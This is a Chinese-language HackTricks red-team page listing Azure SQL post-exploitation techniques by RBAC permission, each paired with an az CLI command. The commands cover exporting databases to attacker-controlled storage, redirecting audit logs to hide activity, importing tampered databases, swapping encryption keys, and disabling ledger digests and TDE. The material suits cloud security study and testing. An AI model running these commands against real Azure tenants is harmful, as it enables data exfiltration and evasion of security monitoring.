Az - SQL 数据库后渗透

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

SQL 数据库后渗透

有关 SQL 数据库的更多信息,请查看:

Az - SQL

Microsoft.Sql/servers/databases/read, Microsoft.Sql/servers/read && Microsoft.Sql/servers/databases/write

拥有这些权限后,攻击者可以在被攻陷的环境中创建和更新数据库。这种后渗透活动可能允许攻击者添加恶意数据、修改数据库配置或插入后门以进一步保持持久性,可能会干扰操作或启用其他恶意行为。

# Create Database
az sql db create --resource-group <resource-group> --server <server-name> --name <new-database-name>

# Update Database
az sql db update --resource-group <resource-group> --server <server-name> --name <database-name> --max-size <max-size-in-bytes>

使用这些权限(Microsoft.Sql/servers/read && Microsoft.Sql/servers/databases/write),您可以恢复已删除的数据库:

az sql db restore \
--dest-name <new_database_name> \
--name <original_database_name> \
--resource-group <resource_group> \
--server <server_name> \
--deleted-time "<deleted_time_ISO_format>"

Microsoft.Sql/servers/elasticPools/write && Microsoft.Sql/servers/elasticPools/read

通过这些权限,攻击者可以在被攻陷的环境中创建和更新 elasticPools。这种后期利用活动可能允许攻击者添加恶意数据、修改数据库配置或插入后门以实现进一步的持久性,可能会干扰操作或启用其他恶意行为。

# Create Elastic Pool
az sql elastic-pool create \
--name <new-elastic-pool-name> \
--server <server-name> \
--resource-group <resource-group> \
--edition <edition> \
--dtu <dtu-value>

# Update Elastic Pool
az sql elastic-pool update \
--name <elastic-pool-name> \
--server <server-name> \
--resource-group <resource-group> \
--dtu <new-dtu-value> \
--tags <key=value>

Microsoft.Sql/servers/auditingSettings/read && Microsoft.Sql/servers/auditingSettings/write

通过此权限,您可以修改或启用 Azure SQL Server 上的审计设置。这可能允许攻击者或授权用户操纵审计配置,从而潜在地掩盖痕迹或将审计日志重定向到他们控制的位置。这可能会妨碍安全监控或使其能够跟踪操作。注意:要使用 Blob 存储为 Azure SQL Server 启用审计,您必须附加一个可以保存审计日志的存储帐户。

az sql server audit-policy update \
--server <server_name> \
--resource-group <resource_group_name> \
--state Enabled \
--storage-account <storage_account_name> \
--retention-days 7

Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read, Microsoft.Sql/servers/connectionPolicies/read && Microsoft.Sql/servers/connectionPolicies/write

通过此权限,您可以修改 Azure SQL Server 的连接策略。此功能可被利用来启用或更改服务器级连接设置。

az sql server connection-policy update \
--server <server_name> \
--resource-group <resource_group_name> \
--connection-type <Proxy|Redirect|Default>

Microsoft.Sql/servers/databases/export/action

拥有此权限,您可以将数据库从 Azure SQL Server 导出到存储帐户。具有此权限的攻击者或授权用户可以通过将其导出到他们控制的位置来提取数据库中的敏感数据,从而带来重大数据泄露风险。了解存储密钥以便能够执行此操作非常重要。

az sql db export \
--server <server_name> \
--resource-group <resource_group_name> \
--name <database_name> \
--storage-uri <storage_blob_uri> \
--storage-key-type SharedAccessKey \
--admin-user <admin_username> \
--admin-password <admin_password>

Microsoft.Sql/servers/databases/import/action

拥有此权限,您可以将数据库导入到 Azure SQL Server。攻击者或拥有此权限的授权用户可能会上传恶意或被篡改的数据库。这可能导致控制敏感数据,或通过在导入的数据库中嵌入有害脚本或触发器。此外,您可以将其导入到您自己的 Azure 服务器。注意:服务器必须允许 Azure 服务和资源访问该服务器。

az sql db import --admin-user <admin-user> \
--admin-password <admin-password> \
--name <target-database-name> \
--server <azure-sql-server-name> \
--resource-group <resource-group-name> \
--storage-key-type SharedAccessKey \
--storage-key <storage-account-key> \
--storage-uri `https://<storage-account-name>.blob.core.windows.net/bacpac-container/MyDatabase.bacpac`

Microsoft.Sql/servers/connectionPolicies/write && Microsoft.Sql/servers/connectionPolicies/read

通过这些权限,用户可以修改和检索 Azure SQL 服务器的连接策略。这些权限允许某人更改客户端如何连接到服务器——选择重定向或代理等方法——如果配置不当,可能会被利用来削弱安全性、重定向流量或拦截敏感数据。

az sql server conn-policy update \
--resource-group <resource_group> \
--server <server_name> \
--connection-policy <policy>

Microsoft.Sql/servers/keys/write && Microsoft.Sql/servers/keys/read

通过这些权限,用户可以更新和检索与 Azure SQL Server 相关的加密密钥。这些密钥通常用于通过加密保护敏感数据,因此操纵它们可能会通过允许未经授权的解密或密钥轮换更改来危及数据安全。

az sql server key create \
--resource-group MyResourceGroup \
--server MyServer \
--kid "https://mykeyvault.vault.azure.net/keys/mykey/1234567890abcdef

Microsoft.Sql/servers/databases/ledgerDigestUploads/disable/action, Microsoft.Sql/locations/ledgerDigestUploadsAzureAsyncOperation/read, Microsoft.Sql/locations/ledgerDigestUploadsOperationResults/read

此权限允许禁用 Azure SQL 数据库的 Ledger Digest,这会停止定期将加密摘要记录上传到 Azure Blob 存储,以验证数据的完整性。

az sql db ledger-digest-uploads disable \
--name ledgerDB \
--resource-group myResourceGroup \
--server my-sql-server

Microsoft.Sql/servers/databases/transparentDataEncryption/write, Microsoft.Sql/locations/transparentDataEncryptionAzureAsyncOperation/read, Microsoft.Sql/servers/databases/transparentDataEncryption/read

此权限允许授权用户或攻击者启用、禁用或修改 Azure SQL 数据库上的透明数据加密 (TDE) 设置,可能通过更改加密配置影响数据安全性。

az sql db tde set \
--database <database-name> \
--resource-group <resource-group-name> \
--server <server-name> \
--status <Enabled|Disabled>

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks